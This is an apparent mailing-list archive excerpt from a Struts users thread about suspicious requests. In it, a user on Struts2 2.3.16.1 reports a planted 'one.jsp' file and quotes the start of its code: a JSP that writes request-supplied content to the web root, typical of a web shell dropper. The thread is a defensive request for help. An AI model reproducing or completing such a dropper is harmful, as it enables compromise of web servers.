Re: Suspicious Request

2018-02-13 Thread Yasser Zamani
On 2/13/2018 3:57 PM, Rajvinder Pal wrote: > I am using struts2 2.3.16.1 version. That may be the reason 404 error is > returned. But still i got a new file "one.jsp", inside the WAR. It has > only one IF condition as give below:- > > <%if(request.getParameter("f")!=null)(new > java.io.FileOutp

Re: Suspicious Request

2018-02-13 Thread Rajvinder Pal
Hi Yasser, I am using struts2 2.3.16.1 version. That may be the reason 404 error is returned. But still i got a new file "one.jsp", inside the WAR. It has only one IF condition as give below:- <%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("")+request.

Re: Suspicious Request

2018-02-13 Thread Yasser Zamani
On 2/13/2018 12:34 PM, Rajvinder Pal wrote: > Hi, > > I have a struts application deployed on application server. Some time I am > receiving the below requests in web server logs. Not sure if i can post it > in this struts forum. What should i do to restrict it?What kind of > vulnerability it is